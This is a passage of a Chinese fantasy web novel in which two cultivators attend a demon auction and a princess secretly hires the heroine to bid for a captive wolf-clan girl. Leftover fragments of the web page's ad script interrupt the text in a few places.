此时陆续有人进入场地,叶清漪的视线里忽然出现一对男女,男子身着黑衣,女子一身紫衣,皆为劲装,男子身形高大,双肩宽阔,带着一副黑色面具,但不是常戴的那副;女子虽不及那男子魁梧,但也并非那种柔弱之辈。 顾卿如一眼就认出两人是连喜和紫玥。 顾卿如没有刻意回避,以免显得形迹可疑,况且她跟清泽先到,连喜后到,他跟紫玥并没发现叶清漪也在场,而且这场子拉得很大,他们看对面的人几乎看不清脸,也就是叶清漪一直注意着动向,又刚巧看到连喜进场,不然她也认不出连喜,更别提每个人还都戴着面具了。 清泽注意到叶清漪的异常,随着她的视线望去,也看到了连喜:“那不是二师兄吗?” 清泽还是习惯称呼他为二师兄,只怕一时半会也改不过来,而且也没必要在意这么一个称呼,叶清漪也无所谓,直接承认了。 “没错。” “他来这里干嘛?他不是……”他不是魔界的人吗? “魔界应该也受邀参加了,我看到不止一个魔界的人了。” “你还认识魔界的人?” “我……我猜测的,魔界中人行事做派都很狂放,而且自带煞气,单从模样上也能猜个七八分。” “这样啊!”清泽若有所思地点点头,似乎相信了这番说辞。 随着进场的人越来越多,场内也越发热闹起来,叶清漪隔着一个场子打量着连喜,看不出他到底有没有发现自己。 此时一阵清脆的铃铛声响起,众人都看向声音来处。 一个身着月白色长袍,带着半副寒冰面具的男子出现在台上。 “欢迎各位来参加今年的鉴赏大会,我是本场大会的掌事,负责主持投注相关事宜,稍后大家会在鉴赏过程中熟悉投注规则,时间宝贵,我就不多介绍了,鉴赏会这便正式开始罢!” 一声锣响,鉴赏会开始。 让叶清漪没想到的是,这鉴赏会不是妖邪轮流上台介绍,而且一批差不多资质的妖邪同时出现在正中央的巨型台子上,同时台子转动,依次路过所有人面前,供大家挑选。 “这感觉跟挑菜一样。”清泽实在忍不住了。 “实在是让人叹为观止。”叶清漪视线始终盯着台上,此刻她终于开始意识到事情的棘手,“这阵仗,今天只怕没这么容易脱身了。” 第一轮所有的妖邪都在台上,被锁链锁着,或者关在笼子里,锁链一端固定在地上,叶清漪一进场就看到台子上隔一段距离就有一个圆环,现在终于知道是作什么用的了,笼子也是下了符咒的,被关在里面的妖邪或神情呆滞,或惊惧不已,很明显饱受咒法摧残。 “这用锁链锁着的和用笼子关着的有什么不一样?”清泽问。 叶清漪摇摇头。 边上有位道长估计是一个人来的,听到他们的谈话忍不住搭话:“二位这是第一次来吧!” 清泽和叶清漪面面相觑。 叶清漪斟酌了一下,开口道:“不错!” 道长连忙热心给他们解释:“二位有所不知,这笼子里都是新抓的,还比较烈性,那些锁链捆住的已经老实了,才从笼子里放出来的,除此之外还有一点,前两场的妖邪品质良莠不齐,这些锁链牢笼不仅可以困住他们,也能隐藏他们的气息,让人看不出他们到底是什么资质,只能凭经验和直觉投注,挣了还是赔了全凭运气。” 叶清漪:“原来如此。” “要不然怎么叫鉴赏会呢!”道长嗤笑一声,“要不然这些养妖邪的人怎么赚灵石,不过也很刺激,所以很多人都想来试试,万一走大运捞个大的呢!” 叶清漪听得一时都不知说什么了。 一旁的清泽抱了抱拳:“多谢告知。” “不止如此,一会儿还有好戏上场。” 过了会儿道长一指台上:“看!来了!” 在场上正中间缓缓升起一团粉色的灵力,一只妖邪笼罩在其中,看不出真身,也看不出资质。 “这个啊是今天的彩头,绝品妖丹,每场投注灵石最多者会夺取本轮彩头,三场加一起投注总灵石最多者,才能将其带回家,这才是大部分人来这场鉴赏会的真正目的,只可惜大部分人连竞争的资格都没有啊!” 伴随着道长讲解的结束,台上铃声响起,正式开始投注。 “第一场,每只十灵石,至少投注五十只妖邪才能进入下一轮。” 灵石有上中下三等,每十颗一换算,这里说的灵石数一律指下等灵石。 “十颗下等灵石可代替一颗中等灵石,又十颗中等才换一颗上等,这不是至少要花五颗上等灵石才能进入下一轮。”清泽惊诧不已。 “第一轮就要这么多灵石……”叶清漪摸了摸自己的灵石袋,她还以为她带的够多了。 看清泽那样,显然也不够。 这时场上已经开始投注了,无数灵石纷纷往妖邪身上扔,灵石一旦砸到妖邪附近的区域,就会被下方的特定结界吸收。 “这些人怎么都跟不缺灵石一样扔啊!”清泽实在受不了了,“我就没见过这场面。” 边上的道长嘿嘿一笑:“看傻了吧道友!” 一抬手也往里面扔了十颗上等灵石。 隔着面具都能感受到清泽的震惊,十颗!一出手就是十颗上等灵石!!!而且这还是最一般的水平。 “怎么办?”清泽为难地问叶清漪,目前好像就他俩一颗灵石也没投了,“我们会不会第一轮结束就被赶出去了?” 叶清漪想了想,“彩头是别想了,拿个保底吧!” 反正他们也不真是来竞拍妖邪的,叶清漪拿出五十颗中等灵石,随便选了十只妖邪扔了。 “不够吧!我也扔一点吧!”清泽准备也出一点。 “先留着!”叶清漪按住他的手,“就这样吧!能不能进下一轮就看运气了!” “好。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 隔着漫天乱飞的灵石,一双隐在面具后的眸子此时在对面暗暗紧了紧。 - 不知是不是错觉,叶清漪总感觉场上某处飘来一丝寒意,抬眼扫了一圈,最终定在对面某个人身上。 不同于她跟清泽这边的窘迫,连喜边上的紫玥扔起灵石来毫不心疼,宛若在扔萝卜白菜。 叶清漪:………… 果然魔界就是财大气粗! 让她意外的是,连喜并没有拿到第一轮的彩头,不知有所保留,还是场上其他人财力更加雄厚。 不过第一轮确实不需要过度展示实力。 第一轮结束,叶清漪他们勉强进入第二轮。 第二轮跟第一轮模式差不多,但是每只妖邪的标价直接变成了五十灵石。 “这……我们还投吗?”清泽有些犹豫。 “投!必须进入第三轮。” 叶清漪低头数着袋子里的灵石,眉心轻拧着。 第二轮是这里的伙计到每个人面前来收,路过叶清漪的时候,她往里面投了十七颗上等灵石。 伙计看她一眼,懒懒开口提醒:“最少二十颗上等灵石!” 叶清漪只好让清泽把他的那份也放进去,她则把剩下的灵石全拿出来了。 伙计扫了一眼托盘里,没说话,也没走。 看来还是不够。 叶清漪摸了摸怀里,掏出一堆符纸,有些为难地问:“能……用符纸抵吗?” 伙计鄙夷地睨了她一眼,又扫了眼边上的清泽,那眼神像是在说又来两个穷酸:“谁要你这些符纸啊!还都是普通的符篆。” 说完等了一会儿,见他们没什么表示,嫌弃地走开了。 叶清漪颓然地低下头:“这下估计进不了第三场了。” 清泽也很懊恼:“抱歉啊,没能帮上忙!我这次出来就带了一颗上等灵石和一堆中等下等灵石,都放进那个盘子了,还是没凑齐。” “不怪你,我也没想到这些人竟然有这么多上等灵石。”原本她也只有三颗上等灵石,以为足够了,保险起见,才把连喜给她的十几颗灵石也带上了,本来没想用出去的,谁想到这地方灵石跟不值钱的破石头一样。 叶清漪把符纸塞回去:“罢了,大不了空手而归,就当是来长见识了。” 一直在边上听着的道长忽然凑上来问:“怎么?灵石不够了?我可以给你一些,不过你要拿一样东西跟我交换。” “那你只怕找错人了”叶清漪转过头,拿出一堆符纸对着他抖了抖,“我只有这些符纸了。” 那道长眼神闪了闪,眯了眯眼:“你浑身上下是没什么值钱东西,但你身体里有啊!” 道长伸出手试图去抓叶清漪的手。 “你干什么!”叶清漪将他的手打开,退开半步和他拉开距离。 清泽也注意到,伸手挡在她面前,叶清漪轻轻推开他,示意他无妨。 人群都在忙着投注,很是嘈杂,没人会注意到他们这一点小冲突,就算注意到也早就见怪不怪了,这种场合只要不闹出人命,都算小事。 道长嘿嘿一笑,满脸狡诈:“我是说你掌心的那朵莲花印记,能与你融为一体,一看便知是绝世法器,足够换几百颗上等灵石了。” 叶清漪摊开掌心,莲花印记并没有浮现。 她眼神瞬间锐利,扫向那道长,此人能看到她掌心的印记,修为只怕远在她之上,若他要强行夺取冰莲,她跟清泽联手也未必有胜算。 “怎么样?考虑好了吗?”道长笑容里透着几分狠厉,一副势在必得的架势。 98. 鉴赏会3 嘈杂的鉴赏会场,所有人都在激情投注,叶清漪跟眼前之人无声对峙,气氛剑拔弩张,一触即发。 叶清漪不动声色盯着那道长,眸色深沉如水,幽暗如寒冰,在濒临图穷匕见之际,叶清漪倏地换上了一副笑脸:“恐怕要辜负道长的美意了,我只不过一介平庸的修道者,哪有什么绝世法器,道长怕是看错了。” 那道长露出阴险的神色,压低声音靠近:“我劝你识相的快点把法器交出来,别逼我动手。你主动交出法器,还能换几颗灵石,要是等我来取,别说灵石,你这一身修为,怕是也别想要了。” 叶清漪暗暗心惊,但还是逼迫自己冷静下来:“道长这是要强买强卖吗?这鉴赏会上一些小打小闹他们自然不会计较,可若是闹出大动静,影响了鉴赏会的正常进行,只怕道长你也不好抽身吧!” “你!” 叶清漪说着示意了一眼四周,故作好心地劝道:“这四周都有他们的人严密把守,若真闹起来,只怕我们谁都别想安然无恙地离开了,我倒是不介意鱼死网破,左右我也没灵石了,注定是抢不到什么妖兽了,倒是不妨拉个人垫背!” 道长脸色铁青,不过还是对举办鉴赏会的势力有所忌惮:“好!很好!你以为用举办方的势力威慑我就可以了?如今倒是硬气,你们以为他们只容忍不自量力进来的人吗?你们以为这是什么地方,由得你们来去自如?等着吧!我看你一颗灵石也没有,他们会不会放你俩出去!” 道长愤愤地骂了一大堆,最后一拂袖走开了。 叶清漪暂时松了口气。 清泽上前道:“师姐,这道长就这么走了?” “他原本就是看我们第一次来,不清楚规矩,想唬住我们,藉此逼我交出法器,其实他根本不敢动手。只是他说的也没错,我们没有灵石了,不知道现在退出可不可以。” 叶清漪有些焦虑地拧眉。 “都怪我,能力有限,一点儿忙也帮不上。”清泽十分自责。 “这不怪你,谁也没想到这里面交易的灵石数额会如此庞大,就算我们提前知道了,也没法在短时间内筹措到如此多的灵石。” “那现在我们该怎么办?是要即刻退出吗?” 叶清漪肩膀一沉,长出了口气:“也不知现在离开会不会惹怒背后的人,而且我们都到这一步了,就此退出实在是可惜。” 清泽也沉默了。 叶清漪低头,摊开掌心,掌心的印记没有显现,这里魔族之人众多,不知道有没有人会认出连喜的冰莲,她自然不能暴露。 清泽见她望着掌心出神,试探地问:“你想用法器换灵石吗?” 叶清漪握掌成拳,将印记握在掌心:“原本我是想等之后有机会再将此物还回去的,当初我在气头上,他给我的时候,我一时都忘了该怎么处理。但是,这还是他的东西,只不过暂时寄存在我这,我没有使用它的资格。” 清泽:“那……” 叶清漪也难住了,斗法、修炼都好说,她都可以试图努力,但赚灵石,她实在不知道怎么做,还是在这么短的时间内弄到如此多的上等灵石,且不说难度有多大,就算弄到手,全拿来投注她也舍不得。 正当叶清漪为难不已的时候,人群中有人高声表示,他带的灵石不够,可不可以派人去取!接着也有其他几人也都提出这个需求。 掌事不急不躁地一抬手,示意众人安静:“各位稍安勿躁,这种事情之前屡有发生,是以前两年我们就开始跟多处商行协商,达成了合作,可以在这里直接支取灵石,方便投注的正常进行,除此之外还有几处典当行,可以直接换取灵石,大家请便。” 他们现在在的地方是一处类似酒楼的地方,中场休息的时候,众人纷纷走出去,取灵石或者休息,以酒楼为中心,两侧皆有数家店铺,呈合抱之势,将方才进来时所在的广场圈在中央,店铺种类繁多,钱庄茶馆点心铺一应俱全,都是供参与鉴赏会之人小憩休整用的。 叶清漪和清泽也出来透气,叶清漪在酒楼门口的台阶上蹲下,用术法将面具改成面纱,总算感觉呼吸顺畅一些。 清泽看到边上有卖点心的,清泽当即准备给叶清漪买点吃的,一掏腰带夹层,不由一怔,尴尬地停了动作。 叶清漪将一切看在眼里,拍了拍他的手:“无妨,总会有办法的。” 叶清漪视线自店铺上一一扫过,发现里面还有一家当铺,她想了想,发现自己身无长物,只有一柄青锋剑。 清泽看到她望着当铺出神,瞬间猜出她的心思:“你想做什么?你不会想典当佩剑吧!” 叶清漪望向自己手里的仙剑,目光不舍:“青锋剑位列十大仙器第五,是我唯一值钱的物件了。” “你疯了!失去了佩剑,你还如何修仙?” 叶清漪垂首喟叹:“我又何尝不知,只是那道长说的并非全无道理,我们已经进了第三轮,若是后续拿不出灵石,只怕没那么容易脱身,还会被当作寻衅滋事之人处理。” “总有法子的,”清泽低头看了看腰间,“此次出行仓促,我也没带其他配饰……对了,适才见二师兄进了不远处那家钱庄,不然还是找他帮忙吧!总比在这枯坐要好。” 叶清漪闻言略一思忖,还是摇摇头:“罢了,既已与他作别,就不要再纠缠不清了。” “也好。”清泽缓缓颔首,垂下眼眸,掩去眼底的闪烁之色。 叶清漪双手搁在膝盖上,目光放远,夕阳的余晖洒在广场上,透着不合时宜的安然。 “来的时候还是清晨,没想到我们已经在里面耽搁了这么久。” 清泽也学着她在台阶上坐下,提议道:“实在不行,趁着现在中场休息偷偷溜走吧!” 叶清漪深深看了清泽一眼,又望身后的楼内看去,宴会的掌事和伙计都在里面忙碌,无暇他顾,其他买家都进了四周的店铺,忙着各自的事情,广场上空空荡荡,他们来时的路就在斜前方,看上去轻易便能离开。 叶清漪眸中精光一轮,刚准备起身,就听到广场一头传来凄厉的叫喊。 二人循声望去,只见一位修士模样的男子倒在入口处,痛苦地翻滚着, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叫喊声把两旁店铺里的人都吸引了出来,众人惊慌地站在门口观望事态发展,无人敢贸然上前。 叶清漪和清泽交换了眼神,起身往边上走了几步,和隔壁围观的人站在了一起,边上人的窃窃私语也随之传到她耳中。 “这是哪个门派的道友,又是何故至此啊?” “都戴着面具,谁知道是哪家的!” 有见多识广之人看出端倪:“看他的情形,像是中了无名之火啊!” “啊?这……这是无名之火?” “居然无名之火,那不是……!” “那不是!!!” 人群一阵喧哗,又不敢直说。 清泽很疑惑:“无名之火究竟是何物,为何这些人像是对此讳莫如深。” 叶清漪自然知道,无名之火是魔族的术法,且不是寻常魔族能修习的,拥有无名之火的人,目前也只有前魔主赤焱,按照她之前的经历判断,千辰修的是水系术法,应该不太可能修炼无名之火,那便只剩下连喜,可他不像是对寻常修士下手的人。 叶清漪正困惑间,这时一阵怪异的笑声响起,面带寒冰面具的掌事缓步自楼内走出,身后还跟着两个伙计,掌事眯了眯眼,做了个手势,左右便立即瞬移至那倒地之人身边。掌事收回手势,一抹寒冰之光自他掌心飞出,与此同时,一声痛苦的呐喊响彻广场。 叶清漪猛地一惊,再次望去,那弟子已经在冰火两重术法之下,彻底安静了,再发不出一丝声响,边上的两个伙计熟练地拿出符纸和法器,将尸体化作血水,又用法器收了,片刻间就将一个人的存在从这世上彻底抹去。 之前还躁动的人群如今死一般的寂静,围观之人皆噤若寒蝉,没人敢再轻举妄动。 而那掌事却像见惯了一般面色寻常,还假惺惺地宽慰其他人:“有人想提前离开,不小心触碰到了出口的术法,没办法我只能替他结束痛苦,各位不必惊慌!另外,之前忘了告知,这四周都布满了结界,为了防止有人偷偷带灵石进来,也是避免有人偷放妖灵出去,等鉴赏会结束自会解开,各位不要再误闯边界了。” 众人闻言都连忙转身进了店铺,掌事也带着伙计进去了。 叶清漪和清泽面面相觑,这下,连提前溜走都不可能了。 这时,一侧的人群中有位男子排众而出,径直走到叶清漪面前,拱手行礼:“这位道友可否移步,有贵人想见你。” “贵人?”叶清漪以眼神询问清泽,对方只是茫然摇头,也不知内情。 “正是,我家主子想见你。”男子态度恭敬,衣着华贵,叶清漪一时判断不出他是什么身份。 “放心,我家主子跟道友曾有过一面之缘,此次是有事相求,道友不必多虑。” 叶清漪对面前之人并不抗拒,说明对方不是别有用心之人,但她还是保持谨慎:“有什么事?” “道友去了便知。” 叶清漪思忖片刻:“好,我随你去便是。” 清泽也准备同去,却被那男子拦下:“我家主子只要求见这位道友一人。” 99. 贵人之托 “清泽,你在此地等我。”叶清漪让清泽留下,提剑只身赴约。 那“贵人”在隔壁茶馆二楼包间,叶清漪被一路引到最里面那间,带路的男子将她领到门口,开了门,做了个请的动作。 叶清漪举步踏入房内,那人却没有跟着进来,而是从外面将房门关上了。 门上的铜制锁扣随着关门的冲击撞上木板,发出清脆的声响,叶清漪背对房门,暗暗握紧了青锋剑。 屋内寂然沉静,冷香浮动。 叶清漪抬眼扫过当场,复又垂眸,神色恢复如常。 适才几息之间已对屋内陈设尽数了然,正对屋门的两面窗户,很轻易便能看清广场上的情形,左侧是一排博古架,上面摆满了灵石宝器、修仙典籍,右侧一副缠枝牡丹半透丝绢屏风,依稀可辨其后有一朦胧人影,正举杯品茗,闲适泰然。 叶清漪莫名觉得这身影有些熟悉,想到领路的男子说的“有过一面之缘”的话,心中越发狐疑。 靠近窗户的位置还有一人,此时正从屏风后绕出,叶清漪屏息等候,内里已在积蓄灵力。 待看清来人后,她分外错愕,以至于都忘了散开灵力:“是你!” 那人衣冠华贵,握剑行礼:“叶仙长安好。” 面前之人不是别人,正是长乐宫侍卫长袁翀,袁翀在此,那屏风后的人岂不是…… 叶清漪趁袁翀不备,再次看了眼屏风后的人影,这才明白那点熟悉之感是因何而来。 长公主派袁翀跟她交涉,叶清漪拿不准她是不是要亲自见她,加上袁翀没有点明长公主也在此,她只能假装没发现屏风后的人。 “你是如何认出我的?”刚才袁翀言语之见分明已经知道她是谁。 袁翀儒雅一笑:“叶仙长虽然以纱遮面,但袁某对见过的人都过目不忘,何况叶仙长资质非凡,即便刻意隐藏,也是无法完全掩盖的。” 他这话倒是没错,袁翀身为长公主贴身护卫,自然要对见过的每个人记得很清楚,只是没想到他居然能看出她资质如何。 “袁某这点眼力还是有的,公主已等候多时,仙长请入内吧!”袁翀侧身示意她入内。 长公主要见她?莫不是为了当初晏临之死来找她清算了! 袁翀笑得高深莫测,叶清漪也拿不准是好是坏,但长公主要见她,她不能拒绝,何况袁翀在这,门外还有人把守,她没有把握能全身而退。 无奈,叶清漪只能硬着头皮进去,路过袁翀时,对方抬手挡住了她的青锋剑,叶清漪会意,将佩剑交出,只身入内。 “见过公主!”叶清漪一路低着头,进去后直接就跪倒了,都不敢正眼看长公主一眼。 “起来罢!如今不在宫里,不必行此大礼。” “是。”叶清漪领命起身。 屏风后陈设简单,最显眼的就是窗边那副紫檀鎏金四时如意罗汉床,中央摆了一副案几,长公主一袭芙蓉色广袖锦服,头戴鎏金冠,长发高束,临窗而坐,案几上摆着紫铜镂空如意纹三足香炉,窗外晚风徐来,满室幽香,方才叶清漪闻到的香气便是由此而来。 长公主抬头看她:“这么紧张作甚?坐罢!” “清漪不敢!”叶清漪吓得差点再次跪下。 长公主发出一声轻笑:“你该不会以为,本宫是为了晏临之事问责于你罢!” “我……” “在你眼里,本宫是那么是非不明的人吗?” “清漪不敢!” “行了,快坐下罢!此处没有旁人,就当是自家姐妹闲谈叙话。”长公主亲自给她沏了杯茶,摆在案几对面。 叶清漪胆战心惊,可长公主已经这样说了,她再拒绝就是抗旨了。 “谢公主赐茶!”叶清漪侧身在对面坐下,端起茶杯轻啜一口,口感醇厚,回甘隽永,是上好的群芳最,但叶清漪却无心品鉴,倒是浪费了如此好茶。 “你也是来竞买妖丹的?”长公主不过问了一句,叶清漪险些呛到,连忙搁下茶杯起身请罪。 长公主无奈扶额:“今日本宫就是离开山门多年的师叔,邀你一同品茗叙话而已,你别动不动就跪,看得我眼晕。” “是。”叶清漪只好又坐了回去。 “晏临的事,本宫已知晓始末,此事本就与你无关,又早已盖棺定论,本宫日后自不会再提,你不必担忧。” “多谢公主。”叶清漪又起身行了一礼,长公主见她执意守着礼数,也不再阻拦。 “起身今日寻你前来,是有一事相求。” 叶清漪仓皇起身:“公主有事尽管吩咐。” “是这样,”长公主摆摆手,一直候在屏风一侧的袁翀领命进来,怀里不知何时抱了一只紫檀多宝箱,打开后上面一层每一格都放了一整颗上等灵石,颜色大小不一,但质地一看就是上乘。 叶清漪傻眼了。 长公主又示意袁翀取下隔层,除了隔层内的,隔层下更是装满了大大小小的灵石,皆是极品,随便一颗都能买下都城一间商铺。 “这是何意?”不知为何,叶清漪的心情很微妙,总觉得事情透着一股说不出的诡异感,她适才一直因为没有灵石困扰,如今长公主就拿来这么一大盒灵石,总觉得长公主像是知晓她之前的境况似的。 长公主莞尔一笑,没有回答,继续低头喝茶。 袁翀在一旁替她传达:“公主身份特殊,行事多有不便,是以想请叶仙长替公主投注灵石,上面这层便是谢礼。” 谢礼?这……还只是谢礼? 如此重赏,只怕公主要她干的事情没那么简单。 “这一盒都是拿来给我投注的?” “不止这些,这箱子里只是一部分,缺多少只管再来拿。”公主开口了。 叶清漪神色一凛,心头迅速闪过好几种可能,她竭力保持冷静,控制着不让声音颤抖:“不知公主想投注哪只妖灵?” “自然是最高级别的那只。” 叶清漪迟疑了一瞬。 “怎么?很为难吗?” “不敢,能为公主效力是清漪的荣幸,清漪自当全力以赴,只是此次有实力之人颇多,我怕会辜负了公主的托付。” “你不必顾及其他,只管按本宫说的去做,投注到的妖丹出了彩头那只,其他都算你自己的,若是没投上,本宫也不会责怪于你,只有一点。” “但凭公主吩咐。” 长公主深深看了她一眼,没有立即提出要求,而是搁下茶杯,起身走到另一侧的窗边,望着广场上的景象沉默良久。 叶清漪询问地看向袁翀,对方只示意她耐心等候。 几息后,公主终于转过身来,极轻地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叹了口气:“你若成功得手,将那只妖邪带来见我。到时,本宫还有其他任务交于你。” 叶清漪眉心忍不住轻皱了一下,没有立即应下。 “本宫知道,你也不缺这几颗上等灵石,不过是本宫的一点心意,本宫也不会教你白白辛苦,那日你同云宸师兄一同进宫,本宫便对你有所关注,事后又曾私下问过云宸,他对你的评价很高,也很信任,本宫这才决定选你替本宫行事,日后若是事成,你想要什么都可以跟本宫提,本宫能做到的,都会尽量满足你。” 见叶清漪还是犹豫,长公主笑笑,摆摆手让袁翀先拿着箱子出去,又拉着叶清漪的手,语气真挚恳切:“本宫是真把你当自家姐妹,你幼年入宫时本宫就很喜欢你,如今再见,更是有缘,你别太拘束了。这件事必须你替我办才能放心,我在仙门没有其他眼线,行事多有不便,需得找个能信得过的人相助才行。” 叶清漪也不拘礼,左右都已经这样了,还能更坏一些吗?不如索性将心中的疑问一一提出,也省得稀里糊涂当了牺牲品。 “那敢问公主,究竟在为何事忧心?”她听公主字里行间都在说着一件大事,却没有点明究竟是何事! “本该等你下次来再告知原委,但看你应是不问清楚原由便不会贸然应承,那便同你简单说一下。”长公主拉着她坐下,见叶清漪不时观察窗外,又宽慰她,“这间包厢是我常年包下的,施了结界,外界不会听到我们的谈话,你尽管放心,还有袁翀守在屋内,若有异常灵力窥探,他定能第一时间察觉。” 叶清漪这才放下心来。 “接下来我所说的你需得一字一句认真听了,并且不得向任何人提起。” 叶清漪顿时集中注意力,严阵以待。 “你知道这妖丹鉴赏会幕后是何人操纵吗?” 叶清漪茫然:“不知。” “其实你应该也有所猜测吧!当初晏临之死,你不觉得蹊跷吗?” 叶清漪听到这,才终于明白长公主要说的是何事,在此之前,她一直心有戒备,听到这里,才愿意表露真实想法。 “当初晏临之死的确是他自己突然发作,我跟同门师兄虽与他缠斗数回,但一开始并未伤其要害,后来他不知为何发了狂,激斗之下才会导致事态恶化。” 其实她也觉得有些蹊跷,晏临和凌霜父女之死,看上去毫不相关,但叶清漪总觉得这两件事之间有种某种隐秘的关联。 “这只是事件露出的一角,晏临不过是沦为了他人的棋子罢了,还有更大的阴谋藏在背后。” “长公主是指?” “三界动荡,时局不稳,有人想搅乱这天下,以谋私利。” 长公主望向窗外,眉心因忧虑而蒙上了一层阴郁,叶清漪随之望去,只见长公主视线所在,正是广场入口。 “今日这无名之火的出现,你作何感想?” “您的意思是,鉴赏会跟魔族有勾连?” “只怕没有那么简单,无名之火已在魔界消失数百年,寻常魔族不得修习,怕是魔族内部也出现问题了。”公主说着又沉默下来,叶清漪便同她一起望着窗外。 远处一抹烟霞染红天际,地平线上一轮红日贴着山体,徒劳抵抗,却无法避免沉入山谷的命运。 黑暗会吞噬一切,万物都将陷入死寂之中。 100. 妖灵竞猜 清泽等的焦急万分,偏偏被几个护卫拦在大门外,没法上楼。 当他看到叶清漪捧着盒子下来的时候,立时眉头一舒,紧走两步迎了上去:“结束了?” 叶清漪:“结束了,我们走吧!” 清泽看向她怀里的盒子,“你这是见了谁啊?还给你这么一大箱子东西。” “没什么,不过是之前相熟的世家姐妹,今日恰好遇上,便同我叙叙旧,这是她临别相赠。”叶清漪松了手,由着清泽接过箱子。 清泽见叶清漪盯着箱子不答,已猜到七八分。 他抬眼扫了一圈,才压低声音问:“不会……是灵石吧!” 叶清漪颔首:“不错。” 清泽低头看了那箱子一眼,这么沉!这得多少灵石啊!能有如此大的手笔,满冀州城也找不出几家,叶清漪的旧友究竟是何身份? 清泽眉心微蹙,心念流转,一瞬间想到好几种可能,又见叶清漪得了一整箱灵石,脸上却没有半分喜色,不禁问:“你不高兴?有了这一箱灵石,眼前的困境便迎刃而解了。” “无妨,”叶清漪抬头见外面陆续有人往主楼走,想是休息时间快结束了,眸色一瞬明暗,心中已有计较,“走吧,先回去!” 清泽说的对,至少眼前的困境已解,之后的麻烦容后再说。 二人进得楼内,人已经回来的差不多,掌事站在看台上看着众人陆续进场,神色如旧,仿佛刚才抬手覆掌间杀了一位修士的人不是他。 其他人也都对适才发生之事讳莫如深。 叶清漪和清泽也不想多说什么,挑了个位置站好。 原本她担心抱着一箱子灵石会很打眼,进来后发现周围多是抱着大包小包灵石的人,还有人直接用术法抬了个大箱子进来,直接坐上去,这下连凳子都有了。 看着左右这场面,叶清漪都不知道说什么好。 “这一大箱子都是灵石吗?”清泽收好视线,又看了看怀里叶清漪的箱子,“这我们还是不够个儿啊!” “无妨,能撑多久算多久罢!” 清泽颔首:“也只能如此了,至少不用担心被打出去了,你看刚才那道长的表情,真是解气。” 叶清漪言罢,不经意扫到一旁,由于中场休息,所有人都改变了位置,那个道长站在左侧不远处,看到叶清漪怀里抱着的箱子,脸色五颜六色的,实在精彩。 叶清漪面无表情地移开了视线,她才不在意什么道长道姑,连喜也换了位置,此刻便站在距她十步之遥的地方,正双手交叉于胸前,平视着前方,斗篷加身,玄甲覆面,换去了仙门弟子的发式,从头到脚都有所不同了,若不是看到边上的紫玥,叶清漪也不敢认了。 但跟她记忆中的曜熠还是有些区别,更像她在魔界见到的连喜,想来他如今根基未稳,还是不能贸然暴露身份。 记忆中为数不多的几次碰面,曜熠都穿着繁复的玄色长袍,宽阔的袖口和衣襟处都绣着织金暗纹,头戴荆棘冠,身披玄夜服,佩玉戴金,气度非凡。 “锵——”地一声,铜锣敲响,清脆浑厚,将叶清漪的思绪打断。 所有人都停止了交谈,将注意力一同转向看台之上,掌事在上方开口:“众位,如今是本次鉴赏会最后一轮投注了,能走到这一步的,想来也不是寻常人,我更知道,众位定是打定主意,今日绝不会无功而返,那我便给出会馆的诚意,在这轮开始前,将为众位揭晓今日的彩头。” 说着举手示意,便有伙计带着一人走上台,那伙计一上台,众人顿时一片躁动,不为别的,只为那伙计带上台的那只妖。 台上站着一个中等身量的女孩,发髻凌乱,衣着破旧,怯生生地低着头,若是没有那对兽耳,还有周身那让人无法忽视的术光,看上去便与十几岁大的人族孩童无异,身上倒没什么明显外伤,想来是怕受伤了买家不收,但那纤细的脖颈处却有着一圈手腕粗的金色术圈,她的双手也被同样的术圈禁锢着,铁链形状的金色术链一端连在脖子上的术圈,一端连在伙计手里,伙计的手只需轻轻一拉,那孩子就必须跟着往他手动的方向移动。 叶清漪微微皱眉,这些猎妖人着实可恶,她刚从长公主处了解到,凡间如今新出了一种行当,名为猎妖人,原本是一些散修由于生计所迫,便开始猎妖为生,专门抓一些道行低微、刚化成人形不久的小妖来供人取乐,或是炼制妖丹,其他散修见有利可图,便群起效仿,渐渐的竟形成了有规矩有驻地的组织,这些猎妖组织多是以一到两个高阶猎妖人为首,十数个中阶猎妖人为纽,百余位低阶猎妖人为部众,个别几个规模较大的组织,甚至已经开始光明正大地召集新的部众,扩大规模了,一时间,猎妖人倒是要比各处的妖邪还要多了。 台上这只妖只怕也是这些猎妖人的手笔。 “台下可有人识得此妖?”掌事人神情似有几分引以为傲。 “这是……蛇妖吧!” “你这眼力不行啊,竟不曾识破此妖那对毛绒兽耳,一看便知是狐族。” “我看不尽然,狐族没有如此强劲霸道的妖力,只怕是熊族或是鹿族……” 台下一时众说纷纭。 叶清漪眸色闪烁,她虽未见过此妖,但识得她眉心的印记——那是狼族的妖印。 此妖是魔界狼族族长的女儿,难怪连喜会出现在这里,前世狼族就是因为族长之女被人族残忍杀害,才坚定不移地站在千辰那边,誓要踏平仙门,杀光所有修士,也是曜熠最大的反对者,狼族实力雄厚,且为几个附属部族所追随。 连喜此来,只怕是为了将此妖赎回,先一步拉拢狼族,以此在魔界站稳脚跟。 坏了,叶清漪惊觉不妙,那她岂不是要跟连喜抢彩头了? “众位可知妖界如今最难猎得的妖是哪种?”掌事人没有第一时间揭开谜底,反而卖起关子。 那些来鉴赏会的人只知灵石越多,妖丹越好,至于是什么品种的妖,倒是少有人关心,其中还有一部分是初次购买妖丹者,更是毫无头绪。 叶清漪自然什么也不会说。 清泽凑过来问:“你能看出来是什么妖吗?” 叶清漪摇摇头。 这时那掌事似是来了兴致,干脆宣布:“各位不妨大胆猜一下,第一个猜对之人,可以免费获得十颗上等灵石,算在此妖的赎金内。” 此话一出,众人都很是心动。 虽然是算在赎金内,但也是比其他人多了十颗灵石,投注数额便能在一开始就领先其他人。 只是叶清漪听到现在,仍是没人猜中答案。 清泽听到这个规则,又问她:“你真的不知道是什么妖吗?随便猜一个也行,那可是十灵石呢!” 叶清漪没有作答,而是先看了边上的连喜一眼,只见连喜定定望着台上,不知在想什么,细看之下,他一手持剑,一手垂落身侧,透过人群的缝隙,叶清漪发现连喜那只手似是无意地挡在紫玥身前,紫玥的斧子容易暴露身份,今日便只带了寻常的佩剑,而连喜的手刚好挡在她剑柄的位置,该是紫玥沉不住气想出手,但是被连喜拦下了。 叶清漪收回视线。 清泽没有 (function () 